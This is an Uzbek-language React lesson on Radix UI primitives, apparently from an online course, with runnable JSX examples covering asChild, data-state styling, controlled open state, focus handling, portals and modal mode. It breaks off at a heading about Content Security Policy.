IlmHamroh
JavaScript Full-stack/20-qism. React: UI kutubxonalar va animatsiya4/30-dars30 daqiqa
Mundarija (40)

Radix Primitives chuqur: asChild, data-state, controlled holat, fokus, portal va modal

Qisqacha: Radix primitivi xulqni beradi, ko'rinishni esa siz. Root holatni saqlaydi va Trigger bilan Content ni ARIA atributlari bilan bog'laydi. asChild — Radix o'z tugmasini chizmaydi, props'larini sizning komponentingizga qo'shadi (u props'ni yoyishi shart). Holat DOM'da data-state="open" bo'lib turadi — stil shunga qarab beriladi. open + onOpenChange — controlled rejim. Portal ro'yxatni boshqa joyga chizadi, modal esa qolgan sahifani "o'chiradi" va buning uchun <style> qo'shadi. Qattiq CSP'li ilovada shu sabab menyu modal={false}.

Bu darsda

  • Radix qismlari bir-biri bilan qanday bog'lanishini (aria-controls, aria-labelledby, data-state) o'z ko'zingiz bilan ko'rasiz.
  • asChild bilan o'z tugmangizni trigger qilasiz va u nega ba'zan "jim" ishlamay qolishini bilasiz.
  • data-state, data-side, data-highlighted bilan menyuni CSS va Tailwind'da bezaysiz.
  • Menyuni controlled qilasiz: tashqi tugmadan ochish, saqlash tugaguncha yopilmaslik.
  • Fokus yo'lini klaviatura bilan o'lchaysiz va Radix Tab'da APG tavsiyasidan qanday farq qilishini ko'rasiz.
  • Portal joyini va modal ning sahifaga nima qilishini o'lchaysiz — va vazifalar da nega modal={false} ekanini CSP bilan tushuntirasiz.
  • Radix, Base UI va React Aria'ni taqqoslaysiz.

Oldin bilishingiz kerak: shadcn/ui II: real ilovada asosiy komponentlar, Polymorphic komponentlar va asChild, Controlled va uncontrolled komponent API dizayni, Fokus boshqaruvi va klaviatura navigatsiyasi, Frontend xavfsizligi React'da.

1. Nega bu kerak?

Oldingi darsda vazifalar dagi menyular Radix'ga o'tdi. Hammasi ishlaydi, lekin dizaynda ikki kamchilik qoldi.

Birinchisi: «Hisobotni yuklab olish» tugmasi ilovadagi boshqa tugmalarga o'xshamaydi. Radix o'z <button> ini chizdi, bizning Tugma mizdagi 44 px balandlik, chegara va tokenlar unga tushmadi. Sardor eng oddiy yo'lni tanladi — Tugma ni trigger ichiga qo'ydi. Konsol qizarib ketdi: "tugma ichida tugma".

Ikkinchisi: Jasur aka "menyu ochiq turganda tugma ham ajralib tursin" dedi. Lekin "ochiq" holat Radix'ning ichida — biz uni qanday bilamiz?

Bu darsda Radix'ning "ichiga" kiramiz. Hayotiy o'xshatish: avtomobil. Haydash uchun rul va pedal yetadi (shadcn). Lekin nimadir g'ijirlasa, kapot ostini bilgan haydovchi uzoqqa boradi.

2. Anatomiya: qismlar qanday bog'langan

2.1 Bitta Context, ko'p qism

Compound komponentlar darsida Context bilan bog'langan Tabs yozganmiz. Radix ham shunday qurilgan. Root — Context ichida holat (open) va ikki id ni saqlaydi. Trigger va Content shu Context'dan o'qib, bir-biriga ishora qiladigan ARIA atributlarini qo'yadi:

flowchart LR
  R["Root: open, id'lar (Context)"] --> T["Trigger (button)"]
  R --> C["Content (role=menu)"]
  T -- "aria-controls" --> C
  C -- "aria-labelledby" --> T
  C --> I["Item (role=menuitem)"]

O'qlar — atributlar. Tugma "men shu ro'yxatni boshqaraman" deydi (aria-controls), ro'yxat "mening nomim — shu tugma matni" deydi (aria-labelledby). Malika (ekran o'quvchi) menyuga kirganda "Hisobot, menyu" ni eshitadi — nom tugmadan olingan.

Buni o'z ko'zimiz bilan tekshiramiz. «Hisobot» ni bosing: menyu ochiladi va uning ichidagi Report DOM'dan atributlarni o'qiydi:

jsx
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

function showWiring() {
  const btn = document.querySelector("button");
  const menu = document.querySelector("[role=menu]");
  console.log(
    "tugma:",
    btn.getAttribute("aria-haspopup"),
    btn.getAttribute("aria-expanded"),
    btn.dataset.state,
  );
  console.log(
    "aria-controls = menyu id:",
    btn.getAttribute("aria-controls") === menu.id,
  );
  console.log(
    "aria-labelledby = tugma id:",
    menu.getAttribute("aria-labelledby") === btn.id,
  );
  console.log("menyu:", menu.dataset.state);
}

// Menyu ichida: menyu ochilganda chiziladi
function Report() {
  useEffect(() => {
    const timer = setTimeout(showWiring, 100);
    return () => clearTimeout(timer);
  }, []);
  return null;
}

export default function App() {
  return (
    <DropdownMenu.Root modal={false}>
      <DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
      <DropdownMenu.Portal>
        <DropdownMenu.Content align="start">
          <DropdownMenu.Item>CSV</DropdownMenu.Item>
          <DropdownMenu.Item>JSON</DropdownMenu.Item>
          <Report />
        </DropdownMenu.Content>
      </DropdownMenu.Portal>
    </DropdownMenu.Root>
  );
}

Konsolda:

text
tugma: menu true open
aria-controls = menyu id: true
aria-labelledby = tugma id: true
menyu: open

Report hech narsa chizmaydi — u faqat "menyu ochildi" lahzasini ushlaydi. setTimeout nega kerak? Radix ro'yxatni portal orqali chizadi va fokusni keyingi vazifada ko'chiradi. 100 ms dan keyin DOM tayyor bo'ladi. dataset.state — data-state atributining JavaScript'dagi nomi (Atributlar, xususiyatlar va dataset darsida).

Natijani o'qiymiz:

  • aria-haspopup="menu", aria-expanded="true" — tugma menyu ochishini va hozir ochiqligini aytadi.
  • Id'lar ikki tomonlama bog'langan. Id'larni useId yaratadi (useId darsida), biz ularni yozmadik.
  • data-state — ARIA emas, stil uchun. U va uning "qarindoshlari" (data-side, data-align) — «data-state bilan stil» bo'limida.

2.2 Har primitivda bir xil uchlik

Bu tuzilish faqat menyuda emas. Radix'ning deyarli har ochiladigan primitivi shunday:

Primitiv Ildiz Ochuvchi Kontent
DropdownMenu Root Trigger Content + Item
Dialog Root Trigger Content + Title, Close
Popover Root Trigger Content + Close
Tooltip Provider + Root Trigger Content

Hammasida Portal bor va hammasi open, defaultOpen, onOpenChange ni qabul qiladi. Bitta primitivni chuqur bilsangiz, qolganlari tanish.

Tekshirib ko'ring: Ikki menyu bir sahifada turibdi: «Hisobot» va «Foydalanuvchi». Ularning aria-controls id'lari to'qnashib qolmaydimi?

Javob

Yo'q. Har Root o'z id'larini useId bilan yaratadi, useId esa har komponent nusxasi uchun noyob qiymat beradi. Agar id'larni qo'lda yozganimizda (id="menyu"), ikkinchi menyu birinchisining id'sini takrorlardi va ekran o'quvchi noto'g'ri ro'yxatni o'qirdi.

3. asChild: o'z tugmangizni trigger qilish

3.1 Tugma ichida tugma

Sardorning birinchi urinishi:

jsx
<DropdownMenu.Trigger>
  <Tugma>Hisobotni yuklab olish</Tugma>
</DropdownMenu.Trigger>

Trigger o'zi <button> chizadi, Tugma ham <button>. DOM'da ichma-ich ikki tugma bo'ladi. React development rejimida konsolda shunday ogohlantirish chiqadi (birinchi qatorlari; davomida komponentlar zanjiri):

text
In HTML, <button> cannot be a descendant of <button>.
This will cause a hydration error.

Tarjimasi: "HTML'da <button> boshqa <button> ning avlodi bo'la olmaydi. Bu hydration xatosiga olib keladi". Hydration — server tayyorlagan HTML'ga brauzerda React'ni "ulash" (Next.js qismida). Muhimi: brauzer HTML'ni o'qiyotganda ichki tugmani tashqisidan "chiqarib" qo'yadi, shuning uchun DOM React kutgandan boshqacha bo'ladi. Klaviatura ham chalkashadi: Tab ikki marta to'xtaydi.

3.2 asChild — props bolaga beriladi

Polymorphic komponentlar va asChild darsida Slot ni o'zimiz yozganmiz. Radix'ning asChild i aynan shu: Trigger o'z tegini chizmaydi. Uning hamma props'lari — onPointerDown, onKeyDown, aria-*, data-state, id, ref — yagona bolaga birlashtiriladi.

jsx
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

// Bizning tugmamiz: qolgan hamma props <button> ga yoyiladi,
// ref ham (React 19 da ref — oddiy prop)
function Tugma({ className = "", ...rest }) {
  return (
    <button
      type="button"
      className={`tugma ${className}`}
      {...rest}
    />
  );
}

export default function App() {
  useEffect(() => {
    const timer = setTimeout(() => {
      const all = document.querySelectorAll("button");
      const b = all[0];
      console.log("tugmalar soni:", all.length);
      console.log("class:", b.className);
      console.log("aria-haspopup:", b.getAttribute("aria-haspopup"));
      console.log("data-state:", b.dataset.state);
    }, 100);
    return () => clearTimeout(timer);
  }, []);
  return (
    <DropdownMenu.Root modal={false}>
      <DropdownMenu.Trigger asChild>
        <Tugma className="hisobot">Hisobotni yuklab olish</Tugma>
      </DropdownMenu.Trigger>
      <DropdownMenu.Portal>
        <DropdownMenu.Content>
          <DropdownMenu.Item>CSV</DropdownMenu.Item>
        </DropdownMenu.Content>
      </DropdownMenu.Portal>
    </DropdownMenu.Root>
  );
}

Konsolda:

text
tugmalar soni: 1
class: tugma hisobot
aria-haspopup: menu
data-state: closed

Bitta tugma. Sinflar bizniki, ARIA va holat — Radix'niki. «Ishga tushir» dan keyin uni bosib ko'ring — menyu ochiladi, chunki Radix'ning onPointerDown i ham shu tugmada.

3.3 "Jim" xato: bola props'ni yoymasa

Endi Sardor boshqa tugma yozdi — faqat kerakli narsalarni oladigan:

jsx
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

function IconButton({ label, children }) {
  return <button aria-label={label}>{children}</button>;
}

export default function App() {
  useEffect(() => {
    const timer = setTimeout(() => {
      const b = document.querySelector("button");
      console.log("aria-haspopup:", b.getAttribute("aria-haspopup"));
      console.log("data-state:", b.dataset.state);
    }, 100);
    return () => clearTimeout(timer);
  }, []);
  return (
    <DropdownMenu.Root modal={false}>
      <DropdownMenu.Trigger asChild>
        <IconButton label="Amallar">⋯</IconButton>
      </DropdownMenu.Trigger>
      <DropdownMenu.Portal>
        <DropdownMenu.Content>
          <DropdownMenu.Item>Tahrirlash</DropdownMenu.Item>
        </DropdownMenu.Content>
      </DropdownMenu.Portal>
    </DropdownMenu.Root>
  );
}

Konsolda:

text
aria-haspopup: null
data-state: undefined

Konsolda xato yo'q, ogohlantirish ham yo'q. Lekin «⋯» ni bosing — hech narsa bo'lmaydi. Radix props'larni IconButton ga berdi, IconButton esa ularni tashlab yubordi: faqat label va children ni oldi. onPointerDown ham, aria-expanded ham <button> gacha yetmadi.

Ikki xil "yo'q" ga e'tibor bering: getAttribute yo'q atribut uchun null qaytaradi, dataset esa — undefined. Ma'nosi bir xil: atribut yo'q.

Qoida 18-qismdagidek: asChild bolasi bo'ladigan komponent qolgan props'ni o'z elementiga yoyadi ({...rest}) va ref ni o'tkazadi. vazifalar dagi Tugma Komponent API'sini loyihalash darsidan beri shunday yozilgan (...qolgan) — shuning uchun bugungi qadam ikki qatorlik.

3.4 Ikki trigger bitta tugmada: kimning data-state i?

asChild ning kuchi — xulqlarni ustma-ust qo'yish: bitta tugmada ham tooltip, ham menyu. Lekin ikkala primitiv ham data-state qo'yadi. Qaysi biri yutadi? Avval tooltip tashqarida, menyu ochiq holda:

jsx
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
import * as Tooltip from "@radix-ui/react-tooltip";

function useLogState() {
  useEffect(() => {
    const timer = setTimeout(() => {
      const b = document.querySelector("button");
      console.log("menyu ochiq, data-state:", b.dataset.state);
    }, 100);
    return () => clearTimeout(timer);
  }, []);
}

function Menu({ children }) {
  return (
    <DropdownMenu.Root defaultOpen modal={false}>
      {children}
      <DropdownMenu.Portal>
        <DropdownMenu.Content>
          <DropdownMenu.Item>CSV</DropdownMenu.Item>
        </DropdownMenu.Content>
      </DropdownMenu.Portal>
    </DropdownMenu.Root>
  );
}

export default function App() {
  useLogState();
  return (
    <Tooltip.Provider>
      <Menu>
        <Tooltip.Root>
          <Tooltip.Trigger asChild>
            <DropdownMenu.Trigger asChild>
              <button>Hisobot</button>
            </DropdownMenu.Trigger>
          </Tooltip.Trigger>
        </Tooltip.Root>
      </Menu>
    </Tooltip.Provider>
  );
}

Konsolda:

text
menyu ochiq, data-state: closed

Menyu ochiq, lekin tugma "closed" deyapti — bu tooltipning holati! Endi tartibni almashtiramiz — menyu tashqarida:

jsx
export default function App() {
  useLogState();
  return (
    <Tooltip.Provider>
      <Menu>
        <Tooltip.Root>
          <DropdownMenu.Trigger asChild>
            <Tooltip.Trigger asChild>
              <button>Hisobot</button>
            </Tooltip.Trigger>
          </DropdownMenu.Trigger>
        </Tooltip.Root>
      </Menu>
    </Tooltip.Provider>
  );
}

Konsolda:

text
menyu ochiq, data-state: open

Sabab — props birlashish tartibi. Tashqi trigger o'z data-state ini bolaga prop qilib beradi. Ichki trigger o'z qiymatini qo'yadi, lekin kelgan props'ni undan keyin yoyadi — natijada tashqisiniki yutadi.

Amaliy qoida: stil beriladigan holat egasi — tashqarida. Menyu ochiqligida tugma rangi o'zgarsin desangiz, DropdownMenu.Trigger tashqi qavat bo'lsin. Hodisalar esa ikkala tartibda ham birlashadi: tooltip ham, menyu ham ishlayveradi.

Tekshirib ko'ring: IconButton ni tuzatish uchun eng kam o'zgarish qanday? aria-label saqlanib qolsinmi?

Javob
jsx
function IconButton({ label, ...rest }) {
  return <button aria-label={label} {...rest} />;
}

children ham rest ichida keladi, alohida yozish shart emas. aria-label saqlanadi — Radix uni bermaydi, to'qnashuv yo'q. React 19 da ref ham rest bilan keladi va <button> ga yetadi. React 18 da buning uchun forwardRef kerak edi.

4. Controlled va uncontrolled holat

4.1 Uchlik: open, defaultOpen, onOpenChange

Controlled va uncontrolled API darsida value, defaultValue, onValueChange uchligini va useControllableState hookini yozganmiz. Radix'da hook aynan shu nom bilan bor va har primitivda ishlatiladi:

  • defaultOpen — uncontrolled: boshlang'ich qiymat, keyin Radix o'zi boshqaradi.
  • open + onOpenChange — controlled: holat sizda, Radix faqat "ochilmoqchi" yoki "yopilmoqchi" deb xabar beradi.

Controlled qachon kerak? Menyuni tashqi sabab ochganda (klaviatura yorlig'i, boshqa tugma) yoki yopilishini siz hal qilganda. «Bahor» kassasida: "Ochish" tugmasi menyuni ochadi, band tanlanganda menyu yopiladi:

jsx
import { useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

export default function App() {
  const [open, setOpen] = useState(false);
  function changeOpen(next) {
    console.log("onOpenChange:", next);
    setOpen(next);
  }
  return (
    <div>
      <button onClick={() => setOpen(true)}>Ochish</button>{" "}
      <DropdownMenu.Root
        open={open}
        onOpenChange={changeOpen}
        modal={false}
      >
        <DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
        <DropdownMenu.Portal>
          <DropdownMenu.Content>
            <DropdownMenu.Item onSelect={() => console.log("CSV")}>
              CSV
            </DropdownMenu.Item>
            <DropdownMenu.Item onSelect={() => console.log("JSON")}>
              JSON
            </DropdownMenu.Item>
          </DropdownMenu.Content>
        </DropdownMenu.Portal>
      </DropdownMenu.Root>
      <p>open: {String(open)}</p>
    </div>
  );
}

Konsolda:

text
JSON
onOpenChange: false

Ekranda:

text
Ochish Hisobot
open: false

Tartibga qarang: avval onSelect (JSON), keyin onOpenChange(false). «Ochish» bosilganda onOpenChange chaqirilmadi — holatni biz o'zimiz o'zgartirdik, Radix faqat ko'rsatdi. Radix "yopilmoqchiman" deganda esa qaror bizda: setOpen(next) ni chaqirmasak, menyu yopilmaydi. Bu 18-qismdagi control props — "ota «yo'q» deya oladi" naqshi.

4.2 Rejim o'rtada almashmasin

Ko'p uchraydigan tuzoq: open ba'zan qiymat, ba'zan undefined bo'lib qoladi. Masalan open={settings.menuOpen} va settings hali yuklanmagan. Radix buni sezadi:

jsx
import { useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

export default function App() {
  const [open, setOpen] = useState(false);
  const [controlled, setControlled] = useState(true);
  return (
    <div>
      <button onClick={() => setControlled(false)}>
        Rejimni buzish
      </button>
      <DropdownMenu.Root
        open={controlled ? open : undefined}
        onOpenChange={setOpen}
        modal={false}
      >
        <DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
      </DropdownMenu.Root>
    </div>
  );
}

Konsolda:

text
DropdownMenu is changing from controlled to uncontrolled. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.

Tarjimasi: "DropdownMenu controlled'dan uncontrolled'ga o'tyapti. Komponent rejimini almashtirmasligi kerak — butun umri davomida bittasini tanlang". 18/#27 dagi useControllableState ham xuddi shu ogohlantirishni bergan edi. Davosi — open={settings.menuOpen ?? false}: qiymat hech qachon undefined bo'lmasin.

5. data-state bilan stil

5.1 Holat — DOM atributida

Radix holatni data-atribut qilib DOM'ga yozadi. data- bilan boshlanadigan atributlar dataset darsidan tanish: brauzer ularga ma'no bermaydi, CSS esa atribut selektori bilan topadi. Shunday qilib JavaScript'dagi holat CSS'ga "ko'prik" orqali yetadi:

Atribut Qayerda Qiymatlari
data-state Trigger, Content open, closed (Checkbox/Radio band: checked, unchecked)
data-side Content top, bottom, left, right — qayerda ochildi
data-align Content start, center, end
data-highlighted Item hozir fokusdagi band
data-disabled Item, Trigger o'chirilgan

data-side nega kerak? Siz side="bottom" desangiz ham, pastda joy bo'lmasa, Floating UI ro'yxatni tepaga ag'daradi. data-side="top" bo'ladi — animatsiya yo'nalishini shunga qarab tanlaysiz.

Bundan tashqari Radix Content'ga CSS o'zgaruvchilarini beradi: --radix-dropdown-menu-trigger-width (tugma eni), --radix-dropdown-menu-content-available-height (ekranda qolgan balandlik) va --radix-dropdown-menu-content-transform-origin (animatsiya qaysi nuqtadan "o'sishi").

5.2 CSS'da va Tailwind'da

Jonli misolda oddiy CSS, ostida Tailwind'dagi o'sha qoidalar:

jsx
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

const css = `
  .trigger { padding: 8px 12px; border: 2px solid #999;
    border-radius: 8px; background: #fff; color: #111; }
  .trigger[data-state="open"] { border-color: #1d4ed8; }
  .menu { min-width: var(--radix-dropdown-menu-trigger-width);
    padding: 4px; border: 1px solid #bbb; background: #fff;
    color: #111; border-radius: 8px; }
  .item { padding: 8px 12px; outline: none; }
  .item[data-highlighted] { background: #1d4ed8; color: #fff; }
  .item[data-disabled] { opacity: 0.5; }
`;

export default function App() {
  return (
    <div>
      <style>{css}</style>
      <DropdownMenu.Root modal={false}>
        <DropdownMenu.Trigger className="trigger">
          Hisobotni yuklab olish
        </DropdownMenu.Trigger>
        <DropdownMenu.Portal>
          <DropdownMenu.Content className="menu" align="start">
            <DropdownMenu.Item className="item">
              CSV
            </DropdownMenu.Item>
            <DropdownMenu.Item className="item">
              JSON
            </DropdownMenu.Item>
            <DropdownMenu.Item className="item" disabled>
              PDF (tez kunda)
            </DropdownMenu.Item>
          </DropdownMenu.Content>
        </DropdownMenu.Portal>
      </DropdownMenu.Root>
    </div>
  );
}

Ekranda (tugma bosilgach):

text
Hisobotni yuklab olish
CSV
JSON
PDF (tez kunda)

«Ishga tushir» dan keyin tugmani bosing va qarang: tugma chegarasi ko'k (open), ro'yxat tugmadan tor emas, PDF xira. Esc bosing — chegara kulrangga qaytadi. Biz holat uchun bitta ham useState yozmadik.

Tailwind v4 da (loyihada, Tailwind CSS 2: variantlar darsidagi variantlar):

CSS Tailwind
[data-state="open"] data-[state=open]:border-asosiy
[data-highlighted] data-highlighted:bg-asosiy
[data-disabled] data-disabled:opacity-50
[data-side="top"] data-[side=top]:origin-bottom

Qiymatsiz atribut (data-highlighted) — qisqa yozuv, qiymatli (state=open) — kvadrat qavsda.

Maslahat: .item:hover yozish shart emas. Radix sichqoncha ustiga kelgan bandga fokusni o'tkazadi va data-highlighted qo'yadi. Bitta qoida sichqoncha va klaviaturani birga bezaydi. :hover va :focus ni alohida yozsangiz, sichqoncha bir bandda, fokus boshqasida — ikkita band yonib turadi.

Tekshirib ko'ring: Dizayner menyu ochilganda tugmaning pastki burchaklari to'g'ri bo'lishini, menyu tepaga ochilganda esa ro'yxatning pastki burchaklari to'g'ri bo'lishini so'radi. Qaysi atributlar kerak?

Javob

Tugma uchun — [data-state="open"] (Trigger'da). Ro'yxat uchun — [data-side="top"] (Content'da): pastda joy bo'lmasa Floating UI ro'yxatni tepaga ag'daradi va data-side ni o'zgartiradi. side="top" ni qo'lda yozib qo'yish yetmaydi — haqiqiy joylashuvni faqat data-side biladi.

6. Fokus va klaviatura

6.1 Bobur yo'li — o'lchab ko'ramiz

Fokus boshqaruvi darsidagi uch qoida: ochilganda fokus ichkariga, ichida boshqariladi, yopilganda tugmaga qaytadi. Radix ularni bajaradimi? «Ishga tushir» dan keyin natija oynasini bosing va tering: Tab, Enter, ↓, ↓, End, Tab, Esc. Blok har tugmadan keyin fokus qayerdaligini yozadi:

jsx
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

// Har tugma qo'yib yuborilgach: fokus qayerda?
// Radix fokusni keyingi vazifada ko'chiradi — 100 ms kutamiz
function useFocusLog() {
  useEffect(() => {
    function onKeyUp(e) {
      setTimeout(() => {
        const focused = document.activeElement.textContent;
        console.log(`${e.key} → fokus: ${focused}`);
      }, 100);
    }
    document.addEventListener("keyup", onKeyUp);
    return () => document.removeEventListener("keyup", onKeyUp);
  }, []);
}

export default function App() {
  useFocusLog();
  return (
    <DropdownMenu.Root modal={false}>
      <DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
      <DropdownMenu.Portal>
        <DropdownMenu.Content loop>
          <DropdownMenu.Item>CSV</DropdownMenu.Item>
          <DropdownMenu.Item>JSON</DropdownMenu.Item>
          <DropdownMenu.Item disabled>PDF</DropdownMenu.Item>
        </DropdownMenu.Content>
      </DropdownMenu.Portal>
    </DropdownMenu.Root>
  );
}

Konsolda:

text
Tab → fokus: Hisobot
Enter → fokus: CSV
ArrowDown → fokus: JSON
ArrowDown → fokus: CSV
End → fokus: JSON
Tab → fokus: JSON
Escape → fokus: Hisobot

Nima bo'ldi? Jadvalda — har qadam:

Qadam Fokus Menyu
Tab «Hisobot» tugmasi yopiq
Enter CSV — birinchi band ochildi
↓ JSON ochiq
↓ CSV — PDF o'tkazib yuborildi (disabled), loop boshiga qaytardi ochiq
End JSON — o'chirilgan PDF fokus olmaydi ochiq
Tab JSON — joyidan qimirlamadi ochiq
Esc «Hisobot» ga qaytdi yopildi

Uch qoida bajarildi: fokus ichkariga kirdi, strelkalar bilan yurdi, Esc'da tugmaga qaytdi. Harf bilan qidirish (typeahead) ham bor: «j» — JSON'ga; o'zingiz sinang.

100 ms kutish shart: Radix fokusni keyingi vazifada (setTimeout) ko'chiradi. Oldingi darsdagi fokusKut ham shu sababli.

6.2 Tab: Radix va APG farqi

Jadvaldagi oltinchi qatorda Tab hech narsa qilmadi. Bu tasodif emas: Radix menyu kodida (Content ning onKeyDown i) Tab'da preventDefault() chaqiriladi. Haqiqiy Chrome 155 da ham shunday — kanon sinovi tasdiqlagan.

WAI-ARIA APG (Menu va Menubar naqshi) esa boshqacha tavsiya qiladi: menyudagi bandda Tab bosilsa, fokus menyudan chiqadi va hamma ochiq menyular yopiladi. Ya'ni:

Tab menyu ichida
APG tavsiyasi fokus sahifadagi keyingi elementga, menyu yopiladi
Radix 2.1.25 fokus bandda qoladi, menyu ochiq

Bobur qamalib qolmaydi: chiqish yo'li — Esc yoki band tanlash. Lekin APG'ga o'rgangan foydalanuvchi Tab bilan chiqishni kutadi. Xulosa: "a11y'li kutubxona" — APG'ning har bandi degani emas. Testlaringiz sizga kerak xulqni tekshirsin.

6.3 Fokusning qaytishini boshqarish

Ba'zan fokus tugmaga emas, boshqa joyga borishi kerak. Masalan, «Tahrirlash» tanlandi — fokus tahrir maydoniga o'tsin. Buning uchun Content da onCloseAutoFocus bor:

jsx
<DropdownMenu.Content
  onCloseAutoFocus={(e) => {
    e.preventDefault(); // tugmaga qaytarma
    inputRef.current?.focus(); // o'zim qo'yaman
  }}
>

Shu oiladagi boshqa hodisalar: onEscapeKeyDown (Esc), onPointerDownOutside (tashqariga bosish), onInteractOutside (ikkalasi). Har birida e.preventDefault() — "bu safar yopilma". Ularni kamdan-kam ishlating: Esc yopmaydigan menyu — Bobur uchun tuzoq.

7. Portal: ro'yxat qayerga chiziladi

7.1 Sukut bo'yicha — <body>

Portal ro'yxatni <body> oxiriga chizadi (Portallar darsidagi createPortal). Ota-elementning overflow i uni kesmaydi. React daraxtida esa u o'z joyida: Context ishlaydi, hodisalar React daraxti bo'ylab ko'tariladi.

Lekin <body> oxiri — sahifa landmarklarining (<header>, <main>, <nav>) tashqarisi. Landmark — ekran o'quvchi sahifa bo'ylab sakrab yuradigan asosiy hududlar (React'da accessibility). axe buni "region" qoidasi bilan ushlaydi — kanonning birinchi o'lchovi (holat 03, portal <body> da):

text
## statistika paneli + menyu ochiq: buzilish 1, o'tgan qoida 49
   ✗ region [moderate] ×1: div[data-radix-popper-content-wrapper=""]

data-radix-popper-content-wrapper — Radix ro'yxatni o'raydigan div. U hech qaysi landmark ichida emas. Shuning uchun kanonda container={portalJoyi()} — ro'yxat <main> oxiriga chiziladi va axe — 0. Joylashuv buzilmaydi: Floating UI ro'yxatni position: fixed bilan ekran koordinatasida qo'yadi, DOM'dagi joyi ahamiyatsiz.

7.2 Tuzoq: konteyner chizish paytida hali yo'q

container ni ham o'z komponentingizda bersangiz-chi? Jasur aka shunday yozdi:

jsx
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

export default function App() {
  useEffect(() => {
    const timer = setTimeout(() => {
      const menu = document.querySelector("[role=menu]");
      console.log("<main> ichidami:", menu.closest("main") !== null);
    }, 100);
    return () => clearTimeout(timer);
  }, []);
  return (
    <main>
      <DropdownMenu.Root defaultOpen modal={false}>
        <DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
        {/* ❌ chizish paytida DOM'dan o'qish */}
        <DropdownMenu.Portal
          container={document.querySelector("main")}
        >
          <DropdownMenu.Content>
            <DropdownMenu.Item>CSV</DropdownMenu.Item>
          </DropdownMenu.Content>
        </DropdownMenu.Portal>
      </DropdownMenu.Root>
    </main>
  );
}

Konsolda:

text
<main> ichidami: false

document.querySelector("main") chizish paytida chaqirildi. Bu birinchi chizish edi: React hali <main> ni DOM'ga qo'ymagan, natija — null. container={null} bo'lsa, Radix sukut bo'yicha <body> ni oladi. Xato ham, ogohlantirish ham yo'q — ro'yxat jim <body> ga ketdi.

Davosi — elementni React'ning o'zidan olish. Callback ref (useRef II) element DOM'ga tushganda chaqiriladi, useState esa qayta chizishni boshlaydi:

jsx
import { useEffect, useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

export default function App() {
  const [main, setMain] = useState(null);
  useEffect(() => {
    const timer = setTimeout(() => {
      const menu = document.querySelector("[role=menu]");
      console.log("<main> ichidami:", menu.closest("main") !== null);
    }, 100);
    return () => clearTimeout(timer);
  }, []);
  return (
    <main ref={setMain}>
      <DropdownMenu.Root defaultOpen modal={false}>
        <DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
        <DropdownMenu.Portal container={main}>
          <DropdownMenu.Content>
            <DropdownMenu.Item>CSV</DropdownMenu.Item>
          </DropdownMenu.Content>
        </DropdownMenu.Portal>
      </DropdownMenu.Root>
    </main>
  );
}

Konsolda:

text
<main> ichidami: true

Kanondagi portalJoyi() nega ishlaydi? Uning menyulari ochiq holda boshlanmaydi. Content faqat odam bosgandan keyin chiziladi, <main> esa allaqachon DOM'da. Bizning misolda defaultOpen hamma narsani birinchi chizishga yig'di. Qoida: chizish paytida DOM'dan o'qiyotgan kod — mo'rt. Konteyner uchun ref yoki state ishonchliroq.

8. modal: menyu sahifani "o'chirganda"

8.1 modal={true} nima qiladi — o'lchaymiz

Radix'da menyuning standart rejimi — modal. Modal menyu ochiq turganda uch ish qiladi. Ularni o'z ko'zimiz bilan ko'ramiz: menyuni tashqi tugma bilan ochamiz va oldin hamda keyin sahifani tekshiramiz.

jsx
import { useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";

function inspectPage(label) {
  const root = document.getElementById("root");
  console.log(
    label,
    "| body:",
    document.body.style.pointerEvents || "—",
    "| <style>:",
    document.querySelectorAll("style").length,
    "| #root aria-hidden:",
    root.getAttribute("aria-hidden") ?? "—",
  );
}

function Demo({ modal }) {
  const [open, setOpen] = useState(false);
  function openMenu() {
    inspectPage("oldin");
    setOpen(true);
    setTimeout(() => inspectPage("keyin"), 100);
  }
  return (
    <div>
      <button onClick={openMenu}>Menyuni ochish</button>
      <DropdownMenu.Root
        open={open}
        onOpenChange={setOpen}
        modal={modal}
      >
        <DropdownMenu.Trigger>Hisobot</DropdownMenu.Trigger>
        <DropdownMenu.Portal>
          <DropdownMenu.Content>
            <DropdownMenu.Item>CSV</DropdownMenu.Item>
          </DropdownMenu.Content>
        </DropdownMenu.Portal>
      </DropdownMenu.Root>
    </div>
  );
}

export default function App() {
  return <Demo modal={true} />;
}

Konsolda:

text
oldin | body: — | <style>: 2 | #root aria-hidden: —
keyin | body: none | <style>: 3 | #root aria-hidden: true

Uchta o'zgarish:

  1. body { pointer-events: none } — sahifadagi hech narsa sichqonchaga javob bermaydi. Tashqariga birinchi bosish faqat menyuni yopadi, bosilgan tugma ishlamaydi.
  2. Yangi <style> tegi — react-remove-scroll kutubxonasi qo'shadi: sahifa aylantirilmasin (scroll lock).
  3. #root ga aria-hidden="true" — ilovaning qolgan qismi ekran o'quvchidan yashirildi. Malika faqat menyuni "ko'radi".

Endi xuddi shu kod, faqat modal={false}:

jsx
export default function App() {
  return <Demo modal={false} />;
}

Konsolda:

text
oldin | body: — | <style>: 2 | #root aria-hidden: —
keyin | body: — | <style>: 2 | #root aria-hidden: —

Hech narsa o'zgarmadi. Menyu baribir Esc bilan va tashqariga bosish bilan yopiladi, fokus ham qaytadi — bularni modal emas, menyuning o'zi qiladi.

8.2 CSP: <style> ni kim to'sadi

